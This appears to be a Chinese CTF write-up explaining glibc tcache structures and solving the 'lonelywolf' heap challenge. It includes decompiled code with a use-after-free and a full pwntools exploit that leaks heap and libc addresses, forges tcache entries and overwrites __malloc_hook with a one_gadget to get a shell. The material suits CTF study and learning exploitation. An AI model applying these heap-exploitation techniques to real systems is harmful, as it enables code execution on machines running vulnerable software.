2.39 malloc.c 中的源代码:
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key; // uintptr_t 就是 unsigned int,2.29 版本之前没有这个 key
} tcache_entry;
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
- 这是glibc malloc实现中的线程本地缓存(thread cache)结构
- 每个线程都有一个这样的结构体实例
counts数组记录每个bin中缓存的chunk数量entries数组是指向每个bin链表头的指针数组- 总共支持64个不同大小的bins
2.26 开始引入 tcache 机制。用户 malloc 一个堆块以后都会出现一个 0x250 或者 0x290 大小的非用户创建的 chunk,其实就是 tcache_perthread_struct.
例题:[CISCN 2021 初赛]lonelywolf D:\CTFExcercises\NSSCTF[CISCN 2021 初赛]lonelywolf
一道非常正统的菜单题:
unsigned __int64 add()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &size);
if ( !size )
{
__printf_chk(1LL, "Size: ");
__isoc99_scanf("%ld", &size);
v1 = size;
if ( size > 0x78 )
{
__printf_chk(1LL, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
cur_size = v1;
cur_chunk = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
Index 必须填 0 才能正常 malloc,size 不能超过 0x78.
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &v3);
if ( !v3 )
{
if ( cur_chunk )
{
__printf_chk(1LL, "Content: ");
v0 = cur_chunk;
if ( cur_size )
{
v1 = (char *)cur_chunk + cur_size;
while ( 1 )
{
read(0, v0, 1uLL); // 每次读入一个字符
if ( *v0 == '\n' )
break;
if ( ++v0 == v1 ) // 不能超出 size
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0;
}
}
}
return __readfsqword(0x28u) ^ v4;
}
只能修改当前 chunk 中的内容。
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &v1);
if ( !v1 && cur_chunk )
__printf_chk(1LL, "Content: %s\n", (const char *)cur_chunk);
return __readfsqword(0x28u) ^ v2;
}
只能查看当前 chunk 的内容。
unsigned __int64 delete()
{
__int64 idx; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &idx);
if ( !idx && cur_chunk )
free(cur_chunk); // uaf
return __readfsqword(0x28u) ^ v2;
}
只能删除当前 chunk,且存在 uaf 漏洞。
因为是老版本(libc-2.27, 2.29 以后就不能这么干了),可以通过直接改 fd 绕过校验实现 double free.
# double free
add(0x78)
delete()
edit(flat(
b'a' * 0x10
))
delete()
show()
泄露完地址以后,关键步骤就是伪造 tcache_perthread_struct 中的 entry 项,这样就可以把堆块 malloc 到任意地址。
完整 exp:
from pwn import *
libc = ELF('/home/ponder/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')
elf = ELF('./lonelywolf')
local = 1
if local == 1:
io = process('./lonelywolf')
else:
io = remote("", )
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)
def cmd(choice):
io.sendlineafter(b'Your choice: ', str(choice).encode())
def add(size, idx=0):
cmd(1)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendlineafter(b'Size: ', str(size).encode())
def edit(content, idx=0):
cmd(2)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendlineafter(b'Content: ', content)
def show(idx=0):
cmd(3)
io.sendlineafter(b'Index: ', str(idx).encode())
def delete(idx=0):
cmd(4)
io.sendlineafter(b'Index: ', str(idx).encode())
def pwn():
# double free
add(0x78)
delete()
edit(flat(
b'a' * 0x10
))
delete()
show()
io.recvuntil(b'Content: ')
leak = io.recvline()[:-1]
heap_base = u64(leak.ljust(8, b'\x00')) - 0x260
log.info(f'heap_base: {hex(heap_base)}')
# 接下来主要方向是伪造出一个大堆块扔 unsorted bin 以此泄露 libc 基地址
# tcache_perthread_struct 是天然 0x250 大小的堆块,我们希望把它 free 掉
# 要进 unsorted bin 需要先做几个手续:让程序以为 tcache 0x250 的堆块已经满了(7个)
# cur_chunk 必须指向 heap_base + 0x10
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00' * 35 + b'\x07') # 填充 tcache 的 7 个堆块
delete()
show()
# pause()
io.recvuntil(b'Content: ')
leak = io.recvline()[:-1]
libc_base = u64(leak.ljust(8, b'\x00')) - 0x3ebca0
log.info(f'libc_base: {hex(libc_base)}')
# edit(p64(libc_base + 0x3ebc00) * 2)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']
log.info(f'malloc_hook: {hex(malloc_hook)}')
# offset 计算公式
# n_0x20 = 0
# entry_0x20 = 0x40
# n_size = size/16-2
# entry_size = 0x40 + (size//16-2)*8
# free_hook
# size = 0x40
# entry_0x40 = 0x40 + (size//16-2)*8
# edit(b'\x00' * entry_0x40 + p64(free_hook - 8) * 2)
# add(size)
# edit(b"/bin/sh\x00"+p64(sys_addr))
# delete()
# malloc_hook
one_gadgets = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
size = 0x40
entry_0x40 = 0x40 + (size//16-2)*8
edit(b'\x00' * entry_0x40 + p64(malloc_hook) * 2)
add(size)
edit(p64(libc_base + one_gadgets[3]))
add(size)
io.interactive()
pwn()